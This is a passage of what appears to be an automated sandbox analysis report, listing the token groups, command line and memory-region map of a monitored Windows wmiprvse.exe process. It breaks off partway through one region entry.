os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x310" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0002e18f" [0xc000000f] Region: id = 1069 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1070 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1071 start_va = 0x30000 end_va = 0x4cfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1072 start_va = 0x50000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1073 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 1074 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1075 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1076 start_va = 0x100000 end_va = 0x1c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1077 start_va = 0x1d0000 end_va = 0x1d6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1078 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 1079 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1080 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1081 start_va = 0x410000 end_va = 0x417fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 1082 start_va = 0x420000 end_va = 0x420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1083 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 1084 start_va = 0x440000 end_va = 0x444fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1085 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 1086 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 1087 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1088 start_va = 0x570000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 1089 start_va = 0x5f0000 end_va = 0x6b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 1090 start_va = 0x6c0000 end_va = 0x6c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 1091 start_va = 0x6d0000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 1092 start_va = 0x6e0000 end_va = 0x6e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 1093 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1094 start_va = 0x700000 end_va = 0xa37fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1095 start_va = 0xa40000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a40000" filename = "" Region: id = 1096 start_va = 0xc40000 end_va = 0xdc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c40000" filename = "" Region: id = 1097 start_va = 0xe50000 end_va = 0xf4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 1098 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 1099 start_va = 0xfd0000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1100 start_va = 0x1050000 end_va = 0x10cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001050000" filename = "" Region: id = 1101 start_va = 0x10d0000 end_va = 0x114ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 1102 start_va = 0x11d0000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011d0000" filename = "" Region: id = 1103 start_va = 0x1360000 end_va = 0x1360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001360000" filename = "" Region: id = 1104 start_va = 0x1380000 end_va = 0x1382fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cimwin32.dll.mui" filename = "\\Windows\\System32\\wbem\\en-US\\cimwin32.dll.mui" (normalized: "c:\\windows\\system32\\wbem\\en-us\\cimwin32.dll.mui") Region: id = 1105 start_va = 0x13a0000 end_va = 0x149ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013a0000" filename = "" Region: id = 1106 start_va = 0x14b0000 end_va = 0x15affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000014b0000" filename = "" Region: id = 1107 start_va = 0x15b0000 end_va = 0x15b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000015b0000" filename = "" Region: id = 1108 start_va = 0x1650000 end_va = 0x16cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 1109 start_va = 0x16d0000 end_va = 0x16d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 1110 start_va = 0x1720000 end_va = 0x191ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001720000" filename = "" Region: id = 1111 start_va = 0x1930000 end_va = 0x1931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001930000" filename = "" Region: id = 1112 start_va = 0x1940000 end_va = 0x1943fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "69b8a4a.bud" filename = "\\Windows\\System32\\spool\\V4Dirs\\6BDA92AB-61C7-4947-9A07-1E5FB24D8AEE\\69b8a4a.BUD" (normalized: "c:\\windows\\system32\\spool\\v4dirs\\6bda92ab-61c7-4947-9a07-1e5fb24d8aee\\69b8a4a.bud") Region: id = 1113 start_va = 0x19b0000 end_va = 0x19b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019b0000" filename = "" Region: id = 1114 start_va = 0x19c0000 end_va = 0x19c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019c0000" filename = "" Region: id = 1115 start_va = 0x19d0000 end_va = 0x19d1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019d0000" filename = "" Region: id = 1116 start_va = 0x19e0000 end_va = 0x19e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019e0000" filename = "" Region: id = 1117 start_va = 0x19f0000 end_va = 0x19f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019f0000" filename = "" Region: id = 1118 start_va = 0x1a10000 end_va = 0x1a18fff monitored = 0 entry_point = 0x1ba1e00 region_type = mapped_file name = "printconfig.dll" filename = "\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_5a50b04019391dd4\\Amd64\\PrintConfig.dll" (normalized: "c:\\windows\\system32\\driverstore\\filerepository\\prnms003.inf_amd64_5a50b04019391dd4\\amd64\\printconfig.dll") Region: id = 1119 start_va = 0x1a20000 end_va = 0x1a23fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1120 start_va = 0x1a60000 end_va = 0x1b9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1121 start_va = 0x1ca0000 end_va = 0x2352fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsres.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\FXSRES.DLL" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\fxsres.dll") Region: id = 1122 start_va = 0x2390000 end_va = 0x240ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 1123 start_va = 0x2410000 end_va = 0x260ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1124 start_va = 0x7ffe0000 end_va = 0x7ffe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1125 start_va = 0x7ff4fde90000 end_va = 0x7ff4fdf8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff4fde90000" filename = "" Region: id = 1126 start_va = 0x7ff4fdf90000 end_va = 0x7ff5fdfaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff4fdf90000" filename = "" Region: id = 1127 start_va = 0x7ff5fdfb0000 end_va = 0x7ff5fffb0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5fdfb0000" filename = "" Region: id = 1128 start_va = 0x7ff5fffc0000 end_va = 0x7ff5fffc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffc0000" filename = "" Region: id = 1129 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 1130 start_va = 0x7ff708950000 end_va = 0x7ff7089cdfff monitored = 0 entry_point = 0x7ff708962580 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 1131 start_va = 0x7fffacbe0000 end_va = 0x7fffacc2cfff monitored = 0 entry_point = 0x7fffacc14740 region_type = mapped_file name = "fxsapi.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\FXSAPI.DLL" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\fxsapi.dll") Region: id = 1132 start_va = 0x7fffacc30000 end_va = 0x7fffacc99fff monitored = 0 entry_point = 0x7fffacc3fc00 region_type = mapped_file name = "fxstiff.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\FXSTIFF.DLL" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\fxstiff.dll") Region: id = 1133 start_va = 0x7fffacca0000 end_va = 0x7fffacce1fff monitored = 0 entry_point = 0x7fffacccc3b0 region_type = mapped_file name = "tapi32.dll" filename = "\\Windows\\System32\\tapi32.dll" (normalized: "c:\\windows\\system32\\tapi32.dll") Region: id = 1134 start_va = 0x7fffaccf0000 end_va = 0x7fffacd18fff monitored = 0 entry_point = 0x7fffacd0b070 region_type = mapped_file name = "fxswzrd.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\FXSWZRD.DLL" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\fxswzrd.dll") Region: id = 1135 start_va = 0x7fffacd20000 end_va = 0x7fffacdf4fff monitored = 1 entry_point = 0x7fffacd53ac0 region_type = mapped_file name = "jscript.dll" filename = "\\Windows\\System32\\jscript.dll" (normalized: "c:\\windows\\system32\\jscript.dll") Region: id = 1136 start_va = 0x7ffface00000 end_va = 0x7fffad171fff monitored = 0 entry_point = 0x7fffacf91e00 region_type = mapped_file name = "printconfig.dll" filename = "\\Windows\\System32\\DriverStore\\FileRepository\\prnms003.inf_amd64_5a50b04019391dd4\\Amd64\\PrintConfig.dll" (normalized: "c:\\windows\\system32\\driverstore\\filerepository\\prnms003.inf_amd64_5a50b04019391dd4\\amd64\\printconfig.dll") Region: id = 1137 start_va = 0x7fffb17e0000 end_va = 0x7fffb1810fff monitored = 0 entry_point = 0x7fffb17e8940 region_type = mapped_file name = "prntvpt.dll" filename = "\\Windows\\System32\\prntvpt.dll" (normalized: "c:\\windows\\system32\\prntvpt.dll") Region: id = 1138 start_va = 0x7fffb3040000 end_va = 0x7fffb3070fff monitored = 0 entry_point = 0x7fffb304e9a0 region_type = mapped_file name = "cryptnet.dll" filename = "\\Windows\\System32\\cryptnet.dll" (normalized: "c:\\windows\\system32\\cryptnet.dll") Region: id = 1139 start_va = 0x7fffb3a80000 end_va = 0x7fffb3a8afff monitored = 0 entry_point = 0x7fffb3a82410 region_type = mapped_file name = "schedcli.dll" filename = "\\Windows\\System32\\schedcli.dll" (normalized: "c:\\windows\\system32\\schedcli.dll") Region: id = 1140 start_va = 0x7fffb3ba0000 end_va = 0x7fffb3bf1fff monitored = 0 entry_point = 0x7fffb3bb3150 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 1141 start_va = 0x7fffb3c00000 end_va = 0x7fffb3dfffff monitored = 1 entry_point = 0x7fffb3c29130 region_type = mapped_file name = "cimwin32.dll" filename = "\\Windows\\System32\\wbem\\cimwin32.dll" (normalized: "c:\\windows\\system32\\wbem\\cimwin32.dll") Region: id = 1142 start_va = 0x7fffb4300000 end_va = 0x7fffb4317fff monitored = 0 entry_point = 0x7fffb4305be0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1143 start_va = 0x7fffb4400000 end_va = 0x7fffb4409fff monitored = 0 entry_point = 0x7fffb4401390 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1144 start_va = 0x7fffb4410000 end_va = 0x7fffb4453fff monitored = 0 entry_point = 0x7fffb442f4d0 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll") Region: id = 1145 start_va = 0x7fffb4750000 end_va = 0x7fffb4777fff monitored = 0 entry_point = 0x7fffb4759440 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1146 start_va = 0x7fffb4780000 end_va = 0x7fffb4793fff monitored = 0 entry_point = 0x7fffb4781800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1147 start_va = 0x7fffb4820000 end_va = 0x7fffb492afff monitored = 0 entry_point = 0x7fffb4855c10 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1148 start_va = 0x7fffb57e0000 end_va = 0x7fffb57f7fff monitored = 0 entry_point = 0x7fffb57e1360 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1149 start_va = 0x7fffb6b60000 end_va = 0x7fffb6bedfff monitored = 0 entry_point = 0x7fffb6b70250 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 1150 start_va = 0x7fffb6bf0000 end_va = 0x7fffb6c19fff monitored = 0 entry_point = 0x7fffb6c0c770 region_type = mapped_file name = "fxsui.dll" filename = "\\Windows\\System32\\spool\\drivers\\x64\\3\\FXSUI.DLL" (normalized: "c:\\windows\\system32\\spool\\drivers\\x64\\3\\fxsui.dll") Region: id = 1151 start_va = 0x7fffb7b90000 end_va = 0x7fffb7e29fff monitored = 0 entry_point = 0x7fffb7c296c0 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_b555e41d4684ddec\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_b555e41d4684ddec\\comctl32.dll") Region: id = 1152 start_va = 0x7fffbae80000 end_va = 0x7fffbae91fff monitored = 0 entry_point = 0x7fffbae83330 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 1153 start_va = 0x7fffbc0d0000 end_va = 0x7fffbc104fff monitored = 0 entry_point = 0x7fffbc0d6250 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1154 start_va = 0x7fffbe330000 end_va = 0x7fffbe3b5fff monitored = 1 entry_point = 0x7fffbe345570 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1155 start_va = 0x7fffbe540000 end_va = 0x7fffbe567fff monitored = 0 entry_point = 0x7fffbe542110 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1156 start_va = 0x7fffc06c0000 end_va = 0x7fffc06dcfff monitored = 0 entry_point = 0x7fffc06c29b0 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1157 start_va = 0x7fffc07b0000 end_va = 0x7fffc07c6fff monitored = 0 entry_point = 0x7fffc07b24b0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1158 start_va = 0x7fffc17b0000 end_va = 0x7fffc17bafff monitored = 0 entry_point = 0x7fffc17b1f70 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1159 start_va = 0x7fffc43b0000 end_va = 0x7fffc43c8fff monitored = 0 entry_point = 0x7fffc43b51e0 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1160 start_va = 0x7fffc5c40000 end_va = 0x7fffc5c49fff monitored = 0 entry_point = 0x7fffc5c41780 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1161 start_va = 0x7fffc6740000 end_va = 0x7fffc6753fff monitored = 0 entry_point = 0x7fffc67428c0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1162 start_va = 0x7fffc8120000 end_va = 0x7fffc8132fff monitored = 0 entry_point = 0x7fffc8123f60 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1163 start_va = 0x7fffc8320000 end_va = 0x7fffc8aa9fff monitored = 0 entry_point = 0x7fffc84dc050 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1164 start_va = 0x7fffc8ac0000 end_va = 0x7fffc8ae2fff monitored = 0 entry_point = 0x7fffc8ac3700 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1165 start_va = 0x7fffc9150000 end_va = 0x7fffc91e0fff monitored = 0 entry_point = 0x7fffc9175d30 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 1166 start_va = 0x7fffc9230000 end_va = 0x7fffc9263fff monitored = 0 entry_point = 0x7fffc9236e70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1167 start_va = 0x7fffc9360000 end_va = 0x7fffc9376fff monitored = 0 entry_point = 0x7fffc9361d60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1168 start_va = 0x7fffc9590000 end_va = 0x7fffc95cafff monitored = 0 entry_point = 0x7fffc959a620 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1169 start_va = 0x7fffc95d0000 end_va = 0x7fffc95dbfff monitored = 0 entry_point = 0x7fffc95d1ce0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1170 start_va = 0x7fffc95e0000 end_va = 0x7fffc96a9fff monitored = 0 entry_point = 0x7fffc960bc80 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1171 start_va = 0x7fffc96b0000 end_va = 0x7fffc96f1fff monitored = 0 entry_point = 0x7fffc96ba3e0 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1172 start_va = 0x7fffc9a70000 end_va = 0x7fffc9a87fff monitored = 0 entry_point = 0x7fffc9a74aa0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1173 start_va = 0x7fffc9a90000 end_va = 0x7fffc9a9bfff monitored = 0 entry_point = 0x7fffc9a92200 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1174 start_va = 0x7fffc9ad0000 end_va = 0x7fffc9b29fff monitored = 0 entry_point = 0x7fffc9adb770 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1175 start_va = 0x7fffc9b80000 end_va = 0x7fffc9baafff monitored = 0 entry_point = 0x7fffc9b82db0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 1176 start_va = 0x7fffc9d00000 end_va = 0x7fffc9d11fff monitored = 0 entry_point = 0x7fffc9d055f0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1177 start_va = 0x7fffc9ec0000 end_va = 0x7fffc9eebfff monitored = 0 entry_point = 0x7fffc9ec7370 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1178 start_va = 0x7fffc9f10000 end_va = 0x7fffc9f21fff monitored = 0 entry_point = 0x7fffc9f13e30 region_type = mapped_file name = "umpdc.dll" filename = "\\Windows\\System32\\umpdc.dll" (normalized: "c:\\windows\\system32\\umpdc.dll") Region: id = 1179 start_va = 0x7fffc9f30000 end_va = 0x7fffc9f7afff monitored = 0 entry_point = 0x7fffc9f33480 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1180 start_va = 0x7fffc9f80000 end_va = 0x7fffca021fff monitored = 0 entry_point = 0x7fffc9faca60 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1181 start_va = 0x7fffca030000 end_va = 0x7fffca05dfff monitored = 0 entry_point = 0x7fffca034f10 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1182 start_va = 0x7fffca060000 end_va = 0x7fffca090fff monitored = 0 entry_point = 0x7fffca06e380 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1183 start_va = 0x7fffca0b0000 end_va = 0x7fffca0cefff monitored = 0 entry_point = 0x7fffca0b8ca0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1184 start_va = 0x7fffca220000 end_va = 0x7fffca26cfff monitored = 0 entry_point = 0x7fffca233280 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1185 start_va = 0x7fffca270000 end_va = 0x7fffca36ffff monitored = 0 entry_point = 0x7fffca285ac0 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1186 start_va = 0x7fffca370000 end_va = 0x7fffca479fff monitored = 0 entry_point = 0x7fffca3a1300 region_type = mapped_file name = "gdi32full.dll" filename = "\\Windows\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll") Region: id = 1187 start_va = 0x7fffca480000 end_va = 0x7fffca4fefff monitored = 0 entry_point = 0x7fffca4b73e0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1188 start_va = 0x7fffca560000 end_va = 0x7fffca5fcfff monitored = 0 entry_point = 0x7fffca575390 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 1189 start_va = 0x7fffca600000 end_va = 0x7fffca75cfff monitored = 0 entry_point = 0x7fffca64efa0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1190 start_va = 0x7fffca760000 end_va = 0x7fffca781fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "win32u.dll" filename = "\\Windows\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll") Region: id = 1191 start_va = 0x7fffca790000 end_va = 0x7fffcaa56fff monitored = 0 entry_point = 0x7fffca7a1bd0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1192 start_va = 0x7fffcaa60000 end_va = 0x7fffcaa86fff monitored = 0 entry_point = 0x7fffcaa68690 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1193 start_va = 0x7fffcad80000 end_va = 0x7fffcae2dfff monitored = 0 entry_point = 0x7fffcadbb940 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1194 start_va = 0x7fffcb2a0000 end_va = 0x7fffcb33afff monitored = 0 entry_point = 0x7fffcb2bc3e0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1195 start_va = 